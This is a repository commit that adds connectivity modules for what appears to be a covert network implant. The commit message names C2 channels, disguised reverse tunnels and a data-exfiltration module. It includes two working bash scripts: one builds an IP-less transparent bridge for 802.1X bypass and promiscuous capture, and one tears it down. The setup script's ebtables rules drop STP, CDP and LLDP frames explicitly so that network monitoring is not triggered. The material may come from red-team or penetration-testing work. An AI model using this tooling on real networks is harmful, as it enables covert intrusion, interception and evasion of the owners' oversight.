Add Phase 3 connectivity modules — 8 modules + bridge scripts
WireGuard (primary C2, PersistentKeepalive=0 for zero idle traffic), Tailscale (fallback mesh VPN), Bridge (transparent inline L2 bridge with 802.1X bypass and ebtables protocol suppression), WiFiClient (WPA2-PSK and WPA2-Enterprise via wpa_supplicant), ReverseTunnel (autossh over stunnel/websocket — never raw SSH on 443), CellularBackup (LTE modem via AT commands/mmcli, OPi Zero 3+ only), BLEEmergency (GATT server with PSK auth for local last-resort access), DataExfil (priority-based exfil with IMMEDIATE/NIGHTLY/ON_DEMAND tiers through connectivity chain). Bridge scripts: setup_bridge.sh (create br0, disable STP, suppress CDP/LLDP/BPDU via ebtables) and teardown_bridge.sh (safe cleanup).
This commit is contained in:
Executable
+142
@@ -0,0 +1,142 @@
|
||||
#!/usr/bin/env bash
|
||||
# Create transparent bridge between two interfaces
|
||||
# Usage: setup_bridge.sh <if1> <if2>
|
||||
# No IP assigned — invisible on network
|
||||
#
|
||||
# This script creates a Layer 2 bridge for inline packet capture and
|
||||
# 802.1X bypass. The bridge has NO IP address, making it undetectable
|
||||
# via network scanning. STP/BPDU/CDP/LLDP frames are suppressed via
|
||||
# ebtables to avoid triggering network monitoring systems.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
BRIDGE="br0"
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Validate arguments
|
||||
# --------------------------------------------------------------------------
|
||||
if [[ $# -ne 2 ]]; then
|
||||
echo "Usage: $0 <interface1> <interface2>" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
IF1="$1"
|
||||
IF2="$2"
|
||||
|
||||
# Verify interfaces exist
|
||||
for iface in "$IF1" "$IF2"; do
|
||||
if ! ip link show "$iface" &>/dev/null; then
|
||||
echo "Error: interface $iface does not exist" >&2
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Cleanup any existing bridge
|
||||
# --------------------------------------------------------------------------
|
||||
if ip link show "$BRIDGE" &>/dev/null; then
|
||||
echo "Removing existing bridge $BRIDGE"
|
||||
ip link set down dev "$BRIDGE" 2>/dev/null || true
|
||||
ip link del "$BRIDGE" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Create bridge
|
||||
# --------------------------------------------------------------------------
|
||||
echo "Creating bridge $BRIDGE: $IF1 <-> $IF2"
|
||||
|
||||
# Create the bridge device
|
||||
ip link add name "$BRIDGE" type bridge
|
||||
|
||||
# Disable Spanning Tree Protocol
|
||||
ip link set "$BRIDGE" type bridge stp_state 0
|
||||
|
||||
# Zero forwarding delay — start forwarding immediately
|
||||
ip link set "$BRIDGE" type bridge forward_delay 0
|
||||
|
||||
# Disable ageing to keep all MACs in forwarding table
|
||||
ip link set "$BRIDGE" type bridge ageing_time 0
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Configure interfaces
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
# Flush any existing IP addresses — bridge must have no L3 presence
|
||||
ip addr flush dev "$IF1" 2>/dev/null || true
|
||||
ip addr flush dev "$IF2" 2>/dev/null || true
|
||||
|
||||
# Set promiscuous mode — capture all frames
|
||||
ip link set "$IF1" promisc on
|
||||
ip link set "$IF2" promisc on
|
||||
|
||||
# Disable multicast snooping (avoid IGMP interference)
|
||||
echo 0 > /sys/devices/virtual/net/"$BRIDGE"/bridge/multicast_snooping 2>/dev/null || true
|
||||
|
||||
# Add interfaces to bridge
|
||||
ip link set "$IF1" master "$BRIDGE"
|
||||
ip link set "$IF2" master "$BRIDGE"
|
||||
|
||||
# Bring everything up
|
||||
ip link set up dev "$IF1"
|
||||
ip link set up dev "$IF2"
|
||||
ip link set up dev "$BRIDGE"
|
||||
|
||||
# Ensure bridge has NO IP address
|
||||
ip addr flush dev "$BRIDGE" 2>/dev/null || true
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# ebtables rules — suppress discovery protocols
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
# Check if ebtables is available
|
||||
if command -v ebtables &>/dev/null; then
|
||||
echo "Applying ebtables suppression rules"
|
||||
|
||||
# Flush existing rules
|
||||
ebtables -F 2>/dev/null || true
|
||||
|
||||
# STP/BPDU — 01:80:C2:00:00:00
|
||||
ebtables -A FORWARD -d 01:80:C2:00:00:00 -j DROP
|
||||
ebtables -A OUTPUT -d 01:80:C2:00:00:00 -j DROP
|
||||
|
||||
# CDP/VTP — 01:00:0C:CC:CC:CC
|
||||
ebtables -A FORWARD -d 01:00:0C:CC:CC:CC -j DROP
|
||||
ebtables -A OUTPUT -d 01:00:0C:CC:CC:CC -j DROP
|
||||
|
||||
# LLDP — 01:80:C2:00:00:0E
|
||||
ebtables -A FORWARD -d 01:80:C2:00:00:0E -j DROP
|
||||
ebtables -A OUTPUT -d 01:80:C2:00:00:0E -j DROP
|
||||
|
||||
# Cisco PVST+ — 01:00:0C:CC:CC:CD
|
||||
ebtables -A FORWARD -d 01:00:0C:CC:CC:CD -j DROP
|
||||
ebtables -A OUTPUT -d 01:00:0C:CC:CC:CD -j DROP
|
||||
|
||||
# LLDP alternate — 01:80:C2:00:00:03
|
||||
ebtables -A FORWARD -d 01:80:C2:00:00:03 -j DROP
|
||||
ebtables -A OUTPUT -d 01:80:C2:00:00:03 -j DROP
|
||||
|
||||
# 802.1X EAP passthrough — allow EAP frames across the bridge
|
||||
# (default FORWARD policy is ACCEPT, so EAP frames pass unless
|
||||
# we explicitly blocked them above — we only block management protos)
|
||||
else
|
||||
echo "Warning: ebtables not installed — protocol suppression skipped" >&2
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Disable IPv6 on bridge (prevent RA/NS/NA leakage)
|
||||
# --------------------------------------------------------------------------
|
||||
sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=1" 2>/dev/null || true
|
||||
sysctl -qw "net.ipv6.conf.${IF1}.disable_ipv6=1" 2>/dev/null || true
|
||||
sysctl -qw "net.ipv6.conf.${IF2}.disable_ipv6=1" 2>/dev/null || true
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Verify bridge is active
|
||||
# --------------------------------------------------------------------------
|
||||
if ip link show "$BRIDGE" | grep -q "state UP"; then
|
||||
echo "Bridge $BRIDGE is UP: $IF1 <-> $IF2 (no IP, STP disabled)"
|
||||
bridge link show
|
||||
exit 0
|
||||
else
|
||||
echo "Error: bridge $BRIDGE failed to come up" >&2
|
||||
exit 1
|
||||
fi
|
||||
Executable
+85
@@ -0,0 +1,85 @@
|
||||
#!/usr/bin/env bash
|
||||
# Teardown bridge and restore interfaces
|
||||
#
|
||||
# Removes the transparent bridge, flushes ebtables rules, and restores
|
||||
# the original interface state. Safe to call even if the bridge is
|
||||
# already down or partially broken.
|
||||
|
||||
set -uo pipefail
|
||||
# Note: no -e — we want all cleanup steps to run even if some fail
|
||||
|
||||
BRIDGE="br0"
|
||||
|
||||
echo "Tearing down bridge $BRIDGE"
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Identify bridge members before removal
|
||||
# --------------------------------------------------------------------------
|
||||
MEMBERS=()
|
||||
if ip link show "$BRIDGE" &>/dev/null; then
|
||||
while IFS= read -r line; do
|
||||
iface=$(echo "$line" | awk '{print $2}' | tr -d ':')
|
||||
if [[ -n "$iface" ]]; then
|
||||
MEMBERS+=("$iface")
|
||||
fi
|
||||
done < <(bridge link show master "$BRIDGE" 2>/dev/null | grep -oP '^\d+:\s+\K\S+')
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Remove ebtables rules
|
||||
# --------------------------------------------------------------------------
|
||||
if command -v ebtables &>/dev/null; then
|
||||
echo "Flushing ebtables rules"
|
||||
ebtables -F 2>/dev/null || true
|
||||
ebtables -X 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Bring bridge down
|
||||
# --------------------------------------------------------------------------
|
||||
ip link set down dev "$BRIDGE" 2>/dev/null || true
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Remove interfaces from bridge and restore state
|
||||
# --------------------------------------------------------------------------
|
||||
for iface in "${MEMBERS[@]}"; do
|
||||
echo "Restoring interface: $iface"
|
||||
|
||||
# Remove from bridge
|
||||
ip link set "$iface" nomaster 2>/dev/null || true
|
||||
|
||||
# Disable promiscuous mode
|
||||
ip link set "$iface" promisc off 2>/dev/null || true
|
||||
|
||||
# Re-enable IPv6
|
||||
sysctl -qw "net.ipv6.conf.${iface}.disable_ipv6=0" 2>/dev/null || true
|
||||
|
||||
# Bring interface up (in case it was downed)
|
||||
ip link set up dev "$iface" 2>/dev/null || true
|
||||
done
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Delete bridge device
|
||||
# --------------------------------------------------------------------------
|
||||
if ip link show "$BRIDGE" &>/dev/null; then
|
||||
ip link del "$BRIDGE" 2>/dev/null || true
|
||||
echo "Bridge $BRIDGE deleted"
|
||||
else
|
||||
echo "Bridge $BRIDGE already removed"
|
||||
fi
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Re-enable IPv6 globally on bridge name (cleanup)
|
||||
# --------------------------------------------------------------------------
|
||||
sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=0" 2>/dev/null || true
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Verify cleanup
|
||||
# --------------------------------------------------------------------------
|
||||
if ip link show "$BRIDGE" &>/dev/null; then
|
||||
echo "Warning: bridge $BRIDGE still exists after teardown" >&2
|
||||
exit 1
|
||||
else
|
||||
echo "Bridge teardown complete"
|
||||
exit 0
|
||||
fi
|
||||
Reference in New Issue
Block a user